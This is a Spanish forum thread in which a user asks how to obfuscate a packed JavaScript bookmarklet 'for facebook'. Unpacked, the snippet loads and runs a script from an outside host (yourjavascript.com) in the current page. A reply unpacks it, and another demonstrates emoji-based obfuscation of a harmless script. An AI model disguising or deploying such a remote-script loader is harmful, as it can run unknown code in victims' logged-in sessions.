¿Cómo ofuscar código JavaScript sin descargar programas?

  • Autor Autor eduu
  • Fecha de inicio Fecha de inicio
E

eduu

Beta
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Bueno queria saber la ofuscacion completa de este codigo.. Se que hay programa pero ahora no tengo disponibilidad de descargar uno, por un problema...

please quien me hace el favor es para facebook...

HTML:
javascript: eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4:(a=(b=8).3(\'1\')).5=\'6://7.2/9/1.c?\'+d.e(),b.f.g(a);h(0)',18,18,'|script|com|createElement|javascript|src|http|yourjavascript|document|24126829101|||js|Math|random|body|appendChild|void'.split('|'),0,{}));
 
desconozco amigo voy empezando con java crei que te podria ayudar pero esta lejos de mis conocimientos
 
ok............
 
no me funciona man....
 
JavaScript:
javascript: {
 eval(function(s, type, key, pairs, f, opt_attributes) {
   f = function(n) {
     return n.toString(type);
   };
   if (!"".replace(/^/, String)) {
     for (;key--;) {
       opt_attributes[f(key)] = pairs[key] || f(key);
     }
     pairs = [function(timeoutKey) {
       return opt_attributes[timeoutKey];
     }];
     f = function() {
       return "\\w+";
     };
     key = 1;
   }
   for (;key--;) {
     if (pairs[key]) {
       s = s.replace(new RegExp("\\b" + f(key) + "\\b", "g"), pairs[key]);
     }
   }
   return s;
 }("4:(a=(b=8).3('1')).5='6://7.2/9/1.c?'+d.e(),b.f.g(a);h(0)", 18, 18, "|script|com|createElement|javascript|src|http|yourjavascript|document|24126829101|||js|Math|random|body|appendChild|void".split("|"), 0, {}));
}
;
 
buenas, cuando yo inicie en estos temas por cuestiones de privacidad, mi primer herramienta de ofuscado fue uno de emojis
JavaScript:
(function(){
    'use strict';
    console.log("estoy vivo :)");
    window.onclick = () =>{
        document.body.style.background = "#000000".replace(/0/g,function(){
            return (~~(Math.random()*16)).toString(16);
        });
    };
}).call(this);
pasamos de codigo legible a ofuscado en realtime con php
JavaScript:
function _0x1adb(_0x3eb32d,_0x35d46e){const _0x5d9847=_0x5d98();return _0x1adb=function(_0x1adb5b,_0x2d59e8){_0x1adb5b=_0x1adb5b-0x14e;let _0xf28329=_0x5d9847[_0x1adb5b];return _0xf28329;},_0x1adb(_0x3eb32d,_0x35d46e);}(function(_0x3594d3,_0x1f22c6){const _0x4ece9b=_0x1adb,_0x4bbf5b=_0x3594d3();while(!![]){try{const _0x580204=parseInt(_0x4ece9b(0x161))/0x1*(parseInt(_0x4ece9b(0x157))/0x2)+parseInt(_0x4ece9b(0x15b))/0x3+-parseInt(_0x4ece9b(0x159))/0x4+-parseInt(_0x4ece9b(0x160))/0x5+parseInt(_0x4ece9b(0x15f))/0x6+parseInt(_0x4ece9b(0x151))/0x7*(-parseInt(_0x4ece9b(0x154))/0x8)+-parseInt(_0x4ece9b(0x150))/0x9;if(_0x580204===_0x1f22c6)break;else _0x4bbf5b['push'](_0x4bbf5b['shift']());}catch(_0x4cc09c){_0x4bbf5b['push'](_0x4bbf5b['shift']());}}}(_0x5d98,0xf36b2),(function(){var _0x1f44e1='🥶🤐🤒🤥🤭😷😑😌🤥🥶🥴💀🙈🤒😴🤔 😴😷🤤😑🤭😷🙈👿🤭😌🤥😴😌🙄🤔🤡🙄😌🤨🥶😮🤔😴😷😌🤧 🤕😑🤕😌 🙉🥴😮🥴👿🤢😑🤥🤫😌🤢🤡😌🤥🤭🙄😑🤭😒🤯🥶🥴🤯🥳💀🤫😌🤭🤒😬🤔🤥😷🤡🤗😌🤫🤧🤡😴😷🤧🙄🤔🤡🤗🤑🤭😒🤨🤤😌🤒🤥🤫🤯😮#😡😡😡😡😡😡😮🤡🤤🤔😔🙄🤑🤭🤔🥶👽😡👽🤨😲🤐🤒🤥🤭😷😑😌🤥🥶🥴💀🤤🤔😷🤒🤤🤥🥶~~🥶😇🤑😷😐🤡🤤🤑🤥🤫😌😬🥶🥴*😱😤🥴🥴🤡😷😌🥺😷🤤😑🤥🤨🥶😱😤🥴👿☠🥴👿☠👿☠🥴🤡🤭🤑🙄🙄🥶😷😐😑😴🥴👿';const _0x299a44={'A':'😀','B':'😃','C':'😄','D':'😁','E':'😆','F':'😅','G':'🤣','H':'😂','I':'🙂','J':'🙃','K':'😉','L':'😊','M':'😇','N':'🥰','O':'😍','P':'🤩','Q':'😘','R':'😗','S':'🥺','T':'😚','U':'😙','V':'😋','W':'😛','X':'😜','Y':'🤪','Z':'😝'},_0x4f590c={'a':'🤑','b':'🤗','c':'🤭','d':'🤫','e':'🤔','f':'🤐','g':'🤨','h':'😐','i':'😑','j':'😶','k':'😒','l':'🙄','m':'😬','n':'🤥','o':'😌','p':'😔','q':'😪','r':'🤤','s':'😴','t':'😷','u':'🤒','v':'🤕','w':'🤢','x':'🤮','y':'🤧','z':'🥵'},_0x194574={'(':'🥶',')':'🥴','|':'😵','=':'🤯','<':'🤠','>':'🥳','+':'😎','-':'🤓','[':'😟',']':'🙁','_':'😭','\x27':'🙈','\x22':'😮',',':'😲',';':'👿',':':'🙉','{':'💀','}':'☠','.':'🤡','/':'👽'},_0x38dc84={'0':'😡','1':'😱','2':'😖','3':'😣','4':'😞','5':'😓','6':'😤','7':'🥱','8':'😫','9':'😩'};function _0x2d21ca(_0x18bb9e,_0x33ebb5){const _0x5a9885=_0xaf50f8();return _0x2d21ca=function(_0x5e4511,_0x3ca9e3){_0x5e4511=_0x5e4511-0x1a7;let _0x1fd6aa=_0x5a9885[_0x5e4511];return _0x1fd6aa;},_0x2d21ca(_0x18bb9e,_0x33ebb5);}const _0x3d2069=_0x2d21ca;(function(_0x4474aa,_0x19227d){const _0x4aa0fe=_0x1adb,_0x2e5b43=_0x2d21ca,_0x59ccd9=_0x4474aa();while(!![]){try{const _0x5d8637=parseInt(_0x2e5b43(0x1b1))/0x1*(parseInt(_0x2e5b43(0x1ae))/0x2)+parseInt(_0x2e5b43(0x1af))/0x3+-parseInt(_0x2e5b43(0x1ad))/0x4+-parseInt(_0x2e5b43(0x1ac))/0x5+parseInt(_0x2e5b43(0x1ab))/0x6*(parseInt(_0x2e5b43(0x1a8))/0x7)+-parseInt(_0x2e5b43(0x1a7))/0x8+-parseInt(_0x2e5b43(0x1b0))/0x9*(-parseInt(_0x2e5b43(0x1aa))/0xa);if(_0x5d8637===_0x19227d)break;else _0x59ccd9[_0x4aa0fe(0x15a)](_0x59ccd9['shift']());}catch(_0x1bbd77){_0x59ccd9[_0x4aa0fe(0x15a)](_0x59ccd9[_0x4aa0fe(0x163)]());}}}(_0xaf50f8,0x873c2));for(let _0x28c60b in _0x299a44){_0x1f44e1=_0x1f44e1[_0x3d2069(0x1a9)](_0x299a44[_0x28c60b],_0x28c60b);}for(let _0x17ca4a in _0x4f590c){_0x1f44e1=_0x1f44e1[_0x3d2069(0x1a9)](_0x4f590c[_0x17ca4a],_0x17ca4a);}for(let _0x218a4c in _0x194574){_0x1f44e1=_0x1f44e1[_0x3d2069(0x1a9)](_0x194574[_0x218a4c],_0x218a4c);}for(let _0x23ba6d in _0x38dc84){_0x1f44e1=_0x1f44e1[_0x3d2069(0x1a9)](_0x38dc84[_0x23ba6d],_0x23ba6d);}function _0xaf50f8(){const _0x74fb3b=_0x1adb,_0x2a575f=[_0x74fb3b(0x14e),_0x74fb3b(0x15d),_0x74fb3b(0x156),_0x74fb3b(0x152),_0x74fb3b(0x155),_0x74fb3b(0x153),_0x74fb3b(0x162),_0x74fb3b(0x15c),_0x74fb3b(0x15e),_0x74fb3b(0x158),_0x74fb3b(0x14f)];return _0xaf50f8=function(){return _0x2a575f;},_0xaf50f8();}eval(_0x1f44e1);}(window)));function _0x5d98(){const _0x1c88e6=['3599996TYZWAE','4798872BqkMxM','14LNfHot','10588836yLhlqk','6254560fQxSGF','37DqyCIF','5290945VXzgqw','shift','60041nNajxj','106605yYrjhR','4107933PiFBje','245dLPdPR','replaceAll','59214sIblXj','319760SbvOOG','1770JSQkHV','280VlLcdR','71062GDIvsE','601071NZlFGP','3449564wqHIGy','push','5658837DFnLqF'];_0x5d98=function(){return _0x1c88e6;};return _0x5d98();}
asi termina, convierto el codigo a emojis, ni una herramienta en linea sera capaz de resolver esto, pero cualquier persona con poco entendimiento de javascript podra resolverlo, este fue el primero, ya ahora tengo cosas mas avanzadas y profesionales, avisame si tienes alguna duda.

edit:
esto es el codigo
🥶🤐🤒🤥🤭😷😑😌🤥🥶🥴💀🙈🤒😴🤔 😴😷🤤😑🤭😷🙈👿🤭😌🤥😴😌🙄🤔🤡🙄😌🤨🥶😮🤔😴😷😌🤧 🤕😑🤕😌 🙉🥴😮🥴👿🤢😑🤥🤫😌🤢🤡😌🤥🤭🙄😑🤭😒🤯🥶🥴🤯🥳💀🤫😌🤭🤒😬🤔🤥😷🤡🤗😌🤫🤧🤡😴😷🤧🙄🤔🤡🤗🤑🤭😒🤨🤤😌🤒🤥🤫🤯😮#😡😡😡😡😡😡😮🤡🤤🤔😔🙄🤑🤭🤔🥶👽😡👽🤨😲🤐🤒🤥🤭😷😑😌🤥🥶🥴💀🤤🤔😷🤒🤤🤥🥶~~🥶😇🤑😷😐🤡🤤🤑🤥🤫😌😬🥶🥴*😱😤🥴🥴🤡😷😌🥺😷🤤😑🤥🤨🥶😱😤🥴👿☠🥴👿☠👿☠🥴🤡🤭🤑🙄🙄🥶😷😐😑😴🥴👿
 
Atrás
Arriba